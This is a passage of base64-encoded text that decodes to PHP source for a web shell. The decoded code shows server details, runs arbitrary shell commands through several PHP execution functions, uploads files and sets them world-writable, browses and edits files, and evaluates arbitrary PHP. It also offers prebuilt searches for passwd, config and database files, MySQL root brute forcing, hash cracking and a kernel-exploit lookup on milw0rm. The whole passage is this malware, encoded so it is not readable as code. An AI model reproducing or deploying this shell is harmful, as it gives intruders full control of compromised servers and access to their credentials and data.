V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikNCg0Kew0KDQokaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPXJlZD5PTiAoc2VjdXJlKTwvZm9udD4iOw0KDQp9DQoNCmVsc2UgeyRzYWZlbW9kZSA9IEZBTFNFOyAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9DQoNCmVjaG8gIjxiPlNhZmUtbW9kZTo8L2I+Jm5ic3A7IjsNCg0KZWNobyAkaHNhZmVtb2RlOw0KDQplY2hvICI8Yj5EaXNhYmxlZCBmdW5jdGlvbnM8L2I+OiA8L2I+IjsNCg0KaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250DQpjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj4iO30NCg0KZWNobygiPGJyPjxiPnVpZD08L2I+Ii5nZXRteXVpZCgpLiIgPGI+Z2lkPTwvYj4iLmdldG15Z2lkKCkuIiA8Yj51c2VyPTwvYj4iLmdldF9jdXJyZW50X3VzZXIoKS4iPGJyPiIpOw0KDQplY2hvKCI8Yj5TZXJ2ZXIgSVA6IDwvYj48YSB0YXJnZXQ9X2JsYW5rIGhyZWY9aHR0cDovL3dob2lzLmRvbWFpbnRvb2xzLmNvbS8iLiRfU0VSVkVSWydTRVJWRVJfQUREUiddLiI+Ii4kX1NFUlZFUlsNCidTRVJWRVJfQUREUiddLiI8L2E+XHQmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiKTsNCg0KZWNobygiPGI+WW91ciBJUDogPC9iPjxhIHRhcmdldD1fYmxhbmsNCmhyZWY9aHR0cDovL3dob2lzLmRvbWFpbnRvb2xzLmNvbS8iLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiI+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9hPjxicj4iKTsNCg0KZWNobyAiPC9mb250PiI7DQoNCmVjaG8gIjwvZGl2PiI7DQoNCmVjaG8oJzxkaXYgY2xhc3M9InN3aXRjaCI+PGZvcm0gbWV0aG9kPSJHRVQiPlN3aXRjaCA6DQoNCjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InNlcnZlciIgdmFsdWU9Ik15U1FMIj4NCg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2VydmVyIiB2YWx1ZT0iU2hlbGwiPg0KDQo8L2Zvcm0+DQoNCjwvZGl2PicpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSdtYWluX25hdic+IjsNCg0KZWNobyAnPGEgdGl0bGU9IkhvbWUiIGhyZWY9IicuJFBIUF9TRUxGLiciPjxpbWcgc3JjPSJodHRwOi8vaW1nNDQ0LmltYWdlc2hhY2sudXMvaW1nNDQ0LzM4NDQvaG9tZWZiOS5wbmciIGJvcmRlcj0iMCIgLz48L2E+Jm5ic3A7ICc7DQoNCiRrZXJuZWxfdmVyc2lvbiA9IHBocF91bmFtZShyKTsgJE9TViA9IHBocF91bmFtZShzKTsgaWYoZXJlZ2koIkxpbnV4IiwkT1NWKSkgeyAka2VybmVsX3ZlcnNpb24gPSBzdWJzdHIoJGtlcm5lbF92ZXJzaW9uLDAsNik7DQokbWlsbGluaz0iaHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz1MaW51eCBLZXJuZWwgIi4ka2VybmVsX3ZlcnNpb247IH1lbHNleyAkTHZlcnNpb249c3Vic3RyKCRrZXJuZWxfdmVyc2lvbiwwLDMpOyAkbWlsbGluaz0iaHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz0iLiRPU1YuIiAiLiRrZXJuZWxfdmVyc2lvbjsgfSAvL0VuZCBvZiBtaWx3MHJtIHNlYXJjaA0KDQplY2hvICc8YSB0aXRsZT0iQmFjayIgaHJlZj0iamF2YXNjcmlwdDpoaXN0b3J5LmJhY2soLTEpOyI+PGltZyBzcmM9Imh0dHA6Ly9pbWc1MjYuaW1hZ2VzaGFjay51cy9pbWc1MjYvMjEzNC9iYWNrZGs0LnBuZyINCmJvcmRlcj0iMCIgLz48L2E+ICZuYnNwOyc7DQoNCmVjaG8gJzxhIHRpdGxlPSJTZWFyY2ggTWlsdzBybSIgdGFyZ2V0PV9ibGFuayBocmVmPSJodHRwOi8vbWlsdzBybS5jb20vc2VhcmNoLnBocD9kb25nPScuJG1pbGxpbmsuJyI+PGltZw0Kc3JjPSJodHRwOi8vaW1nMTcxLmltYWdlc2hhY2sudXMvaW1nMTcxLzI5MzMvbWlsdzBybXRtMS5wbmciIGJvcmRlcj0iMCIgLz48L2E+ICZuYnNwOyc7DQoNCmVjaG8gJzxhIHRpdGxlPSJVcGxvYWQiIGhyZWY9IiN1cGxvYWRlciI+PGltZyBzcmM9Imh0dHA6Ly9pbWcxMjAuaW1hZ2VzaGFjay51cy9pbWcxMjAvMTkwMy91cGxvYWRicTkucG5nIiBib3JkZXI9IjAiIC8+PC9hPg0KJm5ic3A7JzsNCg0KZWNobyAnPGEgdGl0bGU9IlJlYWQgRmlsZSIgaHJlZj0iamF2YXNjcmlwdDp2aWV3KCk7Ij48aW1nIHNyYz0iaHR0cDovL2ltZzI2NS5pbWFnZXNoYWNrLnVzL2ltZzI2NS80NjU3L3NlYXJjaGNvNy5wbmciDQpib3JkZXI9IjAiIC8+PC9hPiAmbmJzcDsnOw0KDQplY2hvICI8L2Rpdj4iOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0b29scyc+IjsNCg0KZWNobyAiWyZuYnNwOyI7DQoNCmVjaG8gJzxhIGhyZWY9IicuJGNoYXIuJ3Rvb2w9Jy5iYXNlNjRfZW5jb2RlKCJCcnV0dXMiKS4nIj5CcnV0ZSBGb3JjZXI8L2E+IHwgJzsNCg0KZWNobyAnPGEgaHJlZj0iJy4kY2hhci4ndG9vbD0nLmJhc2U2NF9lbmNvZGUoIk15U1FMX0JydXRlIikuJyI+Um9vdCBNeVNRTCBCcnV0ZSBGb3JjZXI8L2E+IHwgJzsNCg0KZWNobyAnPGEgaHJlZj0iJy4kY2hhci4ndG9vbD0nLmJhc2U2NF9lbmNvZGUoIm1kNWNyYWNrIikuJyI+TUQ1IENyYWNrZXI8L2E+IHwgJzsNCg0KZWNobyAnPGEgaHJlZj0iJy4kY2hhci4ndG9vbD0nLmJhc2U2NF9lbmNvZGUoInNoYTFjcmFjayIpLiciPlNIQTEgQ3JhY2tlcjwvYT4gfCAnOw0KDQplY2hvICc8YSBocmVmPSInLiRjaGFyLid0b29sPScuYmFzZTY0X2VuY29kZSgiZXZhbHBocCIpLiciPkV2YWwgUEhQPC9hPiZuYnNwO10nOw0KDQplY2hvICI8L2Rpdj4iOw0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KIyMjIyMjIyMjIyBDT01NQU5EIEVYRUNVVEUgRk9STSAjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQplY2hvICgnDQoNCjxkaXYgY2xhc3M9InByZWJ1aWx0Ij4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCg0KCVByZWJ1aWx0IENvbW1hbmRzOg0KDQogIDxzZWxlY3Qgc2l6ZT0iMSIgbmFtZT0icHJlYnVpbHQiPg0KDQogICAgPG9wdGlvbiBzZWxlY3RlZCB2YWx1ZT0iU2VsZWN0IGEgY29tbWFuZC4iPlNlbGVjdCBhIGNvbW1hbmQuPC9vcHRpb24+DQoNCiAgICA8b3B0aW9uIHZhbHVlPSJwd2QiPlZpZXcgUGFzc3dkPC9vcHRpb24+DQoNCiAgICA8b3B0aW9uIHZhbHVlPSJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcqIj5GaW5kIGFsbCBjb25maWcqIGZpbGVzPC9vcHRpb24+DQoNCiAgICA8b3B0aW9uIHZhbHVlPSJmaW5kIC8gLXR5cGUgZiAtbmFtZSBnbG9iYWwqIj5GaW5kIGFsbCBnbG9iYWwqIGZpbGVzPC9vcHRpb24+DQoNCiAgICA8b3B0aW9uIHZhbHVlPSJmaW5kIC8gLXR5cGUgZiAtbmFtZSBkYioiPkZpbmQgYWxsIGRiKiBmaWxlczwvb3B0aW9uPg0KDQogICAgPG9wdGlvbiB2YWx1ZT0iZmluZCAvIC10eXBlIGYgLW5hbWUgZGF0YWJhc2UqIj5GaW5kIGFsbCBkYXRhYmFzZSogZmlsZXM8L29wdGlvbj4NCg0KICAgIDxvcHRpb24gdmFsdWU9Im1pbHcwcm0iPlNlYXJjaCBtaWx3MHJtIGZvciBLZXJuZWwgRXhwbG9pdHM8L29wdGlvbj4NCg0KICA8L3NlbGVjdD4NCg0KICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJwcmVidWlsdF9mdW5jcyIgdmFsdWU9IkV4ZWN1dGUiPg0KDQo8L2Zvcm0+DQoNCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJjb21tYW5kIj4NCg0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCg0KPHNlbGVjdCBzaXplPSIxIiBuYW1lPSJzeXN0ZW1jYWxsIj4NCg0KPG9wdGlvbiBzZWxlY3RlZCB2YWx1ZT0iZGVmYXVsdCI+RGVmYXVsdDwvb3B0aW9uPg0KDQo8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+cGFzc3RocnU8L29wdGlvbj4NCg0KPG9wdGlvbiB2YWx1ZT0iZnBhc3N0aHJ1Ij5mcGFzc3RocnU8L29wdGlvbj4NCg0KPG9wdGlvbiB2YWx1ZT0ic2hlbGxfZXhlYyI+c2hlbGxfZXhlYzwvb3B0aW9uPg0KDQo8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPnN5c3RlbTwvb3B0aW9uPg0KDQo8b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4NCg0KPG9wdGlvbiB2YWx1ZT0iZXhlYyI+ZXhlYzwvb3B0aW9uPg0KDQo8L3NlbGVjdD4NCg0KQ29tbWFuZDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImUiPg0KDQo8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImI2NCIgdmFsdWU9ImI2NCI+IFByZSBCYXNlNjQgRW5jb2RlZA0KDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4NCg0KPC9mb3JtPg0KDQo8L2Rpdj4NCg0KPGRpdiBjbGFzcz0iY2hhbmdlX2RpcmVjdG9yeSI+DQoNCjxmb3JtIG1ldGhvZD0iR0VUIj4NCg0KQ2hhbmdlIERpcmVjdG9yeTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImxvYyI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InB0IiB2YWx1ZT0iMSI+DQoNCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDaGFuZ2UgRGlyZWN0b3J5Ij4NCg0KPC9mb3JtPjwvZGl2Pg0KDQonKTsNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMgRklMRSBVUExPQURFUiAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KZWNobygnDQo8ZGl2IGNsYXNzPSJ1cGxvYWQiPg0KDQo8YSBuYW1lPSJ1cGxvYWRlciI+PC9hPg0KDQo8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iTUFYX0ZJTEVfU0laRSIgdmFsdWU9IjUwMDAwMDAwIiAvPg0KDQpDaG9vc2UgYSBmaWxlIHRvIHVwbG9hZDogPGlucHV0IG5hbWU9InVwbG9hZGVkZmlsZSIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkaXQiIHZhbHVlPSJVcGxvYWQgRmlsZSIgLz4NCg0KPC9mb3JtPg0KDQo8L2Rpdj4NCg0KJyk7DQoNCiR0YXJnZXRfcGF0aCA9IGJhc2VuYW1lKCAkX0ZJTEVTWyd1cGxvYWRlZGZpbGUnXVsnbmFtZSddKTsNCg0KJF9GSUxFU1sndXBsb2FkZWRmaWxlJ11bJ3RtcF9uYW1lJ107DQoNCiRteWZpbGUgPSAkX0ZJTEVTWyd1cGxvYWRlZGZpbGUnXVsnbmFtZSddOw0KDQppZihpc3NldCgkX1BPU1RbJ3VwbG9hZGl0J10pKQ0KDQp7DQoNCmlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWRlZGZpbGUnXVsndG1wX25hbWUnXSwgJHRhcmdldF9wYXRoKSkgew0KDQpAY21kX2V4ZWN1dGUoJGZ1bmMsImNobW9kIDc3NyAkdGFyZ2V0X3BhdGgiKTsNCg0KZWNobyAiPHNjcmlwdD5hbGVydCgnVGhlIGZpbGUgIi4gIGJhc2VuYW1lKCAkX0ZJTEVTWyd1cGxvYWRlZGZpbGUnXVsnbmFtZSddKS4gIiBoYXMgYmVlbiB1cGxvYWRlZCcpOzwvc2NyaXB0PiI7DQoNCn0NCg0KZWxzZXsNCg0KZWNobyAiVGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZSwgcGxlYXNlIHRyeSBhZ2FpbiEiOw0KDQp9DQoNCn0NCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMgRElSRUNUT1JZIExJU1QgV0lUSCBMSU5LIFRPIFRSQVZFUlNFICMjIw0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KZWNobyAnPGJyPjxicj48YnI+PGJyPjxicj48YnI+JzsNCg0KZWNobyAiPGhyIHNpemU9MSBjb2xvcj13aGl0ZT4iOw0KDQplY2hvICI8aDQ+IjsNCg0KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KDQppZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30NCg0KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KDQppZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQoNCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KDQokZGlzcGQgPSBodG1sc3BlY2lhbGNoYXJzKCRkKTsNCg0KJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsNCg0KJGkgPSAwOw0KDQpmb3JlYWNoKCRwZCBhcyAkYikNCg0Kew0KDQogJHQgPSAiIjsNCg0KICRqID0gMDsNCg0KIGZvcmVhY2ggKCRlIGFzICRyKQ0KDQogew0KDQogICR0Lj0gJHIuRElSRUNUT1JZX1NFUEFSQVRPUjsNCg0KICBpZiAoJGogPT0gJGkpIHticmVhazt9DQoNCiAgJGogIDsNCg0KIH0NCg0KIGVjaG8gIjxhIGhyZWY9XCIiLiR1cmwuJGNoYXIuImxvYz0iLmJhc2U2NF9lbmNvZGUoJHQpLiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsNCg0KICRpICA7DQoNCiAkd2R4IC49ICRiLiIvIjsNCg0KfQ0KDQplY2hvICImbmJzcDsmbmJzcDsmbmJzcDsiOw0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KIyMjIyMjIERJUkVDVE9SWSBBTkQgRklMRSBMSVNUSU5HICMjIyMjIyMjIyMjIyMjIyMjDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQplY2hvICI8L2g0PiI7DQoNCmVjaG8gIjwvZGl2PiI7DQoNCmVjaG8gIjxociBzaXplPTEgY29sb3I9d2hpdGU+IjsNCg0KZWNobyAiPGg0PjxhIGhyZWY9J2phdmFzY3JpcHQ6c2hvdyhcImNvbnRlbnRcIik7Jz5TaG93PC9hPi88YSBocmVmPSdqYXZhc2NyaXB0OmhpZGUoXCJjb250ZW50XCIpOyc+SGlkZTwvYT4gQ29udGVudDwvaDQ+IjsNCg0KZWNobyAiPGRpdiBpZD0nY29udGVudCcgc3R5bGU9J2JvcmRlcjoxcHggc29saWQ7aGVpZ2h0OjMwMHB4OyBvdmVyZmxvdzphdXRvOyBiYWNrZ3JvdW5kOiMxNjE2MTYnPjx0YWJsZQ0KYm9yZGVyPTBweD48dHI+PHRkPjxwcmU+IjsNCg0KZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPiI7DQoNCmlmKCRfUE9TVFsncHJlYnVpbHQnXSAhPSAiU2VsZWN0IGEgY29tbWFuZC4iKQ0KDQp7DQoNCmlmKCRfUE9TVFsncHJlYnVpbHQnXSA9PSAibWlsdzBybSIpDQoNCnsNCg0KZWNobyAiPHNjcmlwdD4iOw0KDQplY2hvICdmdW5jdGlvbiBtaWx3MHJtKCl7DQpvcGVuKCJodHRwOi8vbWlsdzBybS5jb20vc2VhcmNoLnBocD9kb25nPUxpbnV4IEtlcm5lbCAkTHZlcnNpb24iLCJtaWx3MHJtIixudWxsLG51bGwpOw0KfSc7DQoNCmVjaG8gIjwvc2NyaXB0PiI7DQoNCn1lbHNlaWYoJF9QT1NUWydwcmVidWlsdCddID09ICJwd2QiKXsNCg0KZWNobyAiPHNjcmlwdD5zZWxmLmxvY2F0aW9uPSciLiRjaGFyLiJ2aWV3PXB3ZCc7PC9zY3JpcHQ+Ijt9DQoNCmVsc2V7DQoNCmVjaG8oY21kX2V4ZWN1dGUoJGZ1bmMsJF9QT1NUWydwcmVidWlsdCddKSk7DQoNCn0NCg0KfQ0KDQppZihlbXB0eSgkY21kKSAmJiBlbXB0eSgkX1BPU1RbJ3ByZWJ1aWx0J10pIHx8ICRfUE9TVFsncHJlYnVpbHQnXSA9PSAiU2VsZWN0IGEgY29tbWFuZC4iKXsNCg0KaWYoJE9TViA9PSAiTGludXgiKSAkc2Nhbl9kaXIgPSAibHMgLWEiOyBlbHNlICRzY2FuX2RpciA9ICJkaXIiOyAkc2Nhbl9kaXIgPSBiYXNlNjRfZW5jb2RlKCRzY2FuX2Rpcik7DQoNCmlmKCFlbXB0eSgkX0dFVFsnbG9jJ10pKXsNCiRkID0gZGlyKGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2xvYyddKSk7DQp9ZWxzZXsNCiRkID0gZGlyKGdldGN3ZCgpKTsNCn0NCg0KLy8kZDEgPSBzdHJfcmVwbGFjZShhcnJheSgiXHIiLCJcbiIpLCJcbiIsJGRpcjEpOw0KDQovLyRkMSA9IEBleHBsb2RlKCJcbiIsJGQxKTsNCg0Kd2hpbGUgKGZhbHNlICE9PSgkZjEgPSAkZC0+cmVhZCgpKSkgew0KDQokcGVybXMgPSBAZmlsZXBlcm1zKCRmMSk7DQoNCiRyID0gc3RyX3JlcGxhY2UoYXJyYXkoIjIiLCIzIiwiNCIpLCItciIsJHBlcm1zKTsNCg0KJHcgPSBzdHJfcmVwbGFjZShhcnJheSgiNSIsIjYiLCI3IiksInciLCRyKTsNCg0KJHggPSBzdHJfcmVwbGFjZShhcnJheSgiOCIsIjkiLCIxMCIpLCJ4LSIsJHcpOw0KDQokZGMgPSBzdHJfcmVwbGFjZSgiMCIsIi0iLCR4KTsNCg0KJGFjID0gc3RyX3JlcGxhY2UoIjEiLCJkLSIsJGRjKTsNCg0KJHBlcm1pc3Npb25zID0gJGFjOw0KDQokY29sb3IgPSAid2hpdGUiOw0KDQppZihpc193cml0YWJsZSgkZjEpKQ0KDQokY29sb3IgPSAiZ3JlZW4iOw0KDQppZighaXNfd3JpdGFibGUoJGYxKSAmJiAhaXNfcmVhZGFibGUoJGYxKSAmJiAhaXNfZXhlY3V0YWJsZSgkZjEpKQ0KDQokY29sb3IgPSAicmVkIjsNCg0KJHN6ID0gQGZpbGVzaXplKCRmMSk7DQoNCmlmKCgkc3ovMTAyNCkgPj0gMSAmJiAoJHN6LzEwMjQpIDwgMTAyNCkNCg0KJGJ5dGUgPSByb3VuZCgkc3ovMTAyNCkuIiBLQiI7DQoNCmlmKCgkc3ovMTA0ODU3NikgPj0gMSAmJiAoJHN6LzEwNDg1NzYpIDwgMTAyNCkNCg0KJGJ5dGUgPSByb3VuZCgkc3ovMTA0ODU3NikuIiBNQiI7DQoNCmlmKCgkc3ovMTA3Mzc0MTgyNCkgPj0gMSkNCg0KJGJ5dGUgPSByb3VuZCgkc3ovMTA3Mzc0MTgyNCkuIiBHQiI7DQoNCiRsb2NhbF9kaXIgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydsb2MnXSk7DQoNCmVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTUgY2VsbHBhZGRpbmc9NT4iOw0KDQppZihpc19maWxlKCRmMSkpew0KDQplY2hvICI8dHI+PHRkIGFsaWduPWxlZnQ+PGZvbnQgY29sb3I9JGNvbG9yPiRwZXJtaXNzaW9uczwvZm9udD5cdCRieXRlXHQ8L3RkPjx0ZCBhbGlnbj1yaWdodD48YSBocmVmPQ0KJyIuJGNoYXIuInZpZXc9Ii5iYXNlNjRfZW5jb2RlKCR3ZHguIi8iLiRmMSkuIic+Ii4kZjEuIjwvYT48L3RkPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXRoZWZpbGUgdmFsdWU9XCIiLg0KYmFzZTY0X2VuY29kZSgkd2R4LiRmMSkuIlwiPjxicj48L3RkPjwvdHI+IjsNCg0KfQ0KDQppZihpc19kaXIoJGYxKSl7DQoNCmVjaG8gIjx0cj48dGQgYWxpZ249bGVmdD48Zm9udCBjb2xvcj0kY29sb3I+JHBlcm1pc3Npb25zPC9mb250Plx0JGJ5dGVcdDwvdGQ+PHRkIGFsaWduPXJpZ2h0PjxhIGhyZWY9DQonIi4kY2hhci4ibG9jPSIuYmFzZTY0X2VuY29kZSgkd2R4LiIvIi4kZjEpLiInPiIuJGYxLiI8L2E+PC90ZD48L3RyPiI7DQoNCn0NCg0KZWNobyAiPC90YWJsZT4iOw0KDQp9DQoNCn1lbHNlew0KDQpzd2l0Y2goJF9QT1NUWydzeXN0ZW1jYWxsJ10pDQoNCnsNCg0KY2FzZSAiZGVmYXVsdCI6DQokY2FsbCA9IGNtZF9leGVjdXRlKCRmdW5jLCBiYXNlNjRfZGVjb2RlKCRjbWQpKTsNCmJyZWFrOw0KDQpjYXNlICJwYXNzdGhydSI6DQoNCiRjYWxsID0gQHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJGNtZCkpOw0KDQpicmVhazsNCg0KZGVmYXVsdDoNCg0KJGNhbGwgPSBAc3lzdGVtKGJhc2U2NF9kZWNvZGUoJGNtZCkpOw0KDQpicmVhazsNCg0KY2FzZSAic3lzdGVtIjoNCg0KJGNhbGwgPSBAc3lzdGVtKGJhc2U2NF9kZWNvZGUoJGNtZCkpOw0KDQpicmVhazsNCg0KY2FzZSAic2hlbGxfZXhlYyI6DQoNCiRjYWxsID0gQHNoZWxsX2V4ZWMoYmFzZTY0X2RlY29kZSgkY21kKSk7DQoNCmJyZWFrOw0KDQpjYXNlICJleGVjIjoNCg0KJGNhbGwgPSBAZXhlYyhiYXNlNjRfZGVjb2RlKCRjbWQpKTsNCg0KYnJlYWs7DQoNCmNhc2UgImZwYXNzdGhydSI6DQoNCiRjYWxsID0gQGZwYXNzdGhydShiYXNlNjRfZGVjb2RlKCRjbWQpKTsNCg0KYnJlYWs7DQoNCmNhc2UgInBvcGVuIjoNCg0KJGNhbGwgPSBAcG9wZW4oYmFzZTY0X2RlY29kZSgkY21kKSk7DQoNCmJyZWFrOw0KDQp9DQoNCn0NCg0KaWYoIWVtcHR5KCRjYWxsKSkNCg0KZWNobyBodG1sZW50aXRpZXMoJGNhbGwpOw0KDQplY2hvICI8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4iOw0KDQplY2hvICI8YnI+V2l0aCBTZWxlY3RlZDogIjsgZWNobyAiPHNlbGVjdCBuYW1lPSdzZWxlY3RlZCc+IjsgZWNobyAiPG9wdGlvbiB2YWx1ZT0nZWRpdCc+RWRpdDwvb3B0aW9uPiI7IGVjaG8gIjxvcHRpb24gdmFsdWU9DQonZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOyBlY2hvICI8b3B0aW9uIHZhbHVlPSdkb3dubG9hZCc+RG93bmxvYWQ8L29wdGlvbj4iOyBlY2hvICI8L3NlbGVjdD4iOw0KDQplY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdvcHRpb24nIHZhbHVlPSdHbyc+IjsNCg0KZWNobyAiPC9mb3JtPiI7DQoNCmlmKGlzc2V0KCRfUE9TVFsndGhlZmlsZSddKSBhbmQgaXNzZXQoJF9QT1NUWydvcHRpb24nXSkpew0KDQokb3B0ID0gJF9QT1NUWydzZWxlY3RlZCddOyAkYWN0ID0gJF9QT1NUWyd0aGVmaWxlJ107IGVjaG8gIjxzY3JpcHQ+c2VsZi5sb2NhdGlvbj0nIi4kUEhQX1NFTEYuIj8iOyBlY2hvICRvcHQuIj0iLiRhY3Q7IGVjaG8gIic7DQo8L3NjcmlwdD4iOw0KDQp9DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQojIyMjIyMjIFRPT0xTICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmKGlzc2V0KCRfR0VUWyd0b29sJ10pKQ0KZWNobyAiPGhyIHNpemU9MSBjb2xvcj13aGl0ZT4iOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0b29sJz4iOw0KDQpmdW5jdGlvbiBlZGl0X2ZpbGUoJGZpbGUpew0KDQokZmlsZSA9IGJhc2U2NF9kZWNvZGUoJGZpbGUpOw0KDQokY29udGVudHNfb2ZfRmlsZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsNCg0KZWNobyAiPGZvcm0gbWV0aG9kPSdQT1NUJz4iOyBlY2hvICI8dGV4dGFyZWEgbmFtZT0nZWRpdG9yJyBjb2xzPTIwMCByb3dzPTIwPiIuaHRtbGVudGl0aWVzKCRjb250ZW50c19vZl9GaWxlKS4iPC90ZXh0YXJlYT4iOw0KZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nZWRpdCcgdmFsdWU9J1NhdmUnPiI7IGVjaG8gIjwvZm9ybT4iOw0KDQppZihpc3NldCgkX1BPU1RbJ2VkaXQnXSkpeyAkZiA9IGZvcGVuKCRmaWxlLCAnYScpOyAkc3RyaW5nID0gJF9QT1NUWydlZGl0b3InXTsgZndyaXRlKCRmLCAkc3RyaW5nKTsgZmNsb3NlKCRmKTsgfSB9DQoNCnN3aXRjaChiYXNlNjRfZGVjb2RlKCRfR0VUWyd0b29sJ10pKQ0KDQp7DQoNCmNhc2UgImV2YWxwaHAiOg0KDQplY2hvICcNCjxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQSFAgQ29kZSAod2l0aG91dCB0YWdzKTogPGJyPg0KPHRleHRhcmVhIG5hbWU9ImV2YWxjb2RlIiBjb2xzPSIyMjUiIHJvd3M9IjgiPicuc3RyaXBzbGFzaGVzKCRfUE9TVFsnZXZhbGNvZGUnXSkuJzwvdGV4dGFyZWE+DQo8YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJldmFsX2NvZGUiIHZhbHVlPSJFdmFsdWF0ZSBQSFAiPg0KPC9mb3JtPg0KJzsNCg0KJHBocF9jb2RlID0gJF9QT1NUWydldmFsY29kZSddOw0KDQpicmVhazsNCg0KY2FzZSAiTXlTUUxfQnJ1dGUiOg0KDQplY2hvKCcNCg0KPGZvcm0gbWV0aG9kPSJQT1NUIj4NCg0KVXNlcjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIHZhbHVlPSJyb290Ij4NCg0KVVJMIHRvIFdvc